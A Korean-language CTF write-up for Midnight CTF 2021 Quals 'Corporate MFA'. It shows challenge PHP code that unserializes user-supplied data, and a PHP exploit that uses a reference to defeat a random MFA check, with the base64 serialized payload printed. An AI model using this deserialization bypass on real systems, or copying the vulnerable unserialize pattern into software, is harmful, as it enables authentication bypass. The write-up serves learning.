[Study] Midnight CTF 2021 Quals Corporate mfa Writeup
주어진 링크에 접속하면 아래와 같은 화면이 뜬다. Username(주어짐), Password, MFA token value에 대한 조건을 만족시켜 로그인에 성공하는 것이 목적인 문제이다.
주어진 소스코드 중, index.php를 먼저 살펴보자.
<?php
include 'class/User.php';
if (!empty($_POST))
{
// serialise POST data for easy logging
$loginAttempt = serialize((object)$_POST); ##### ..... (1)
// log access
//Logger::log(Logger::SENSITIVE, 'Login attempt: ' . $loginAttempt);
// Hand over to federation login
// TODO currently just a mock up
// TODO encrypt information to avoid loos of confidentiality
header('Location: /?userdata=' . base64_encode($loginAttempt)); ##### ..... (2)
die();
}
if (!empty($_GET) && isset($_GET['userdata']))
{
// prepare notification data structure
$notification = new stdClass();
// check credentials & MFA
try
{
$user = new User(base64_decode($_GET['userdata']));
if ($user->verify()) ##### ..... (3)
{
$notification->type = 'success';
$notification->text = 'Congratulations, your flag is: ' . file_get_contents('/flag.txt');
}
else
{
throw new InvalidArgumentException('Invalid credentials or MFA token value');
}
}
catch (Exception $e)
{
$notification->type = 'danger';
$notification->text = $e->getMessage();
}
}
include 'template/home.html';
로그인을 시도하면 사용자 입력 값이 Post 방식으로 전달되는데,
(1)과 같이 이를 serialize 하여 (2)와 같이 get 방식의 userdata라는 파라미터에 전달하도록 한다.
전달된 데이터는 (3)과 같이 verify() 만족 여부를 검사해, 만족한다면 플래그를 출력해준다.
그렇다면 User.php를 분석하여 verify()는 어떻게 처리되는지 보도록 하자.
<?php
final class User
{
private $userData;
public function __construct($loginAttempt)
{
$this->userData = unserialize($loginAttempt); ##### ..... (1)
if (!$this->userData)
throw new InvalidArgumentException('Unable to reconstruct user data');
}
private function verifyUsername()
{
return $this->userData->username === 'D0loresH4ze'; ##### ..... (2)
}
private function verifyPassword()
{
return password_verify($this->userData->password, '$2y$07$BCryptRequires22Chrcte/VlQH0piJtjXl.0t1XkA8pw9dMXTpOq');
// rasmuslerdorf
##### ..... (3)
}
private function verifyMFA()
{
$this->userData->_correctValue = random_int(1e10, 1e11 - 1);
return (int)$this->userData->mfa === $this->userData->_correctValue;
##### ..... (4)
}
public function verify()
{
if (!$this->verifyUsername())
throw new InvalidArgumentException('Invalid username');
if (!$this->verifyPassword())
throw new InvalidArgumentException('Invalid password');
if (!$this->verifyMFA())
throw new InvalidArgumentException('Invalid MFA token value');
return true;
}
}
(1) 과 같이 unserialize 작업을 거친 후, (2) ~ (4) 의 과정을 거치게 된다.
(2)에 해당하는 username은 문제에서 주어진다.
(3)에 해당하는 password는 해당 해시 값을 구글링하면 어렵지 않게 값을 찾을 수 있다.
(4)가 이 문제의 핵심인데, 해당 MFA token 검증 로직을 어떻게 우회하냐이다.
index.php에서 봤듯, 결국 object를 serialize한 값에 대해 로그인 검증 로직이 처리되는데,
class User
{
public $username = "D0loresH4ze";
public $password = "rasmuslerdorf";
public $mfa;
public $_correctValue;
}
$user = new User();
$user->mfa =& $user->_correctValue;
echo base64_encode(serialize($user));
위 과정을 거쳐서 생성된 값인
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjExOiJEMGxvcmVzSDR6ZSI7czo4OiJwYXNzd29yZCI7czoxMzoicmFzbXVzbGVyZG9yZiI7czozOiJtZmEiO2k6MTtzOjEzOiJfY29ycmVjdFZhbHVlIjtSOjQ7fQ==
를 userdata파라미터에 전달하면 플래그를 획득 할 수 있다고 한다.
User.php의 (4) 부분을 보면 _correctValue의 값이 검사 직전에 정해지기 때문에 해당 값을 공격자가 컨트롤하기 어렵다고 생각 할 수 있지만 php에서 =& 라는 연산을 하면 참조 연산이 되어, 좌변 우변 둘 중 하나의 값이 바뀌면 나머지 하나의 값도 같은 값으로 바뀐다.
따라서 _correctValue 의 값이 랜덤 값이 되어도 mfa의 값이 같은 값으로 바뀌기 때문에 조건문을 만족해서 로그인에 성공하여 플래그를 획득 할 수 있다.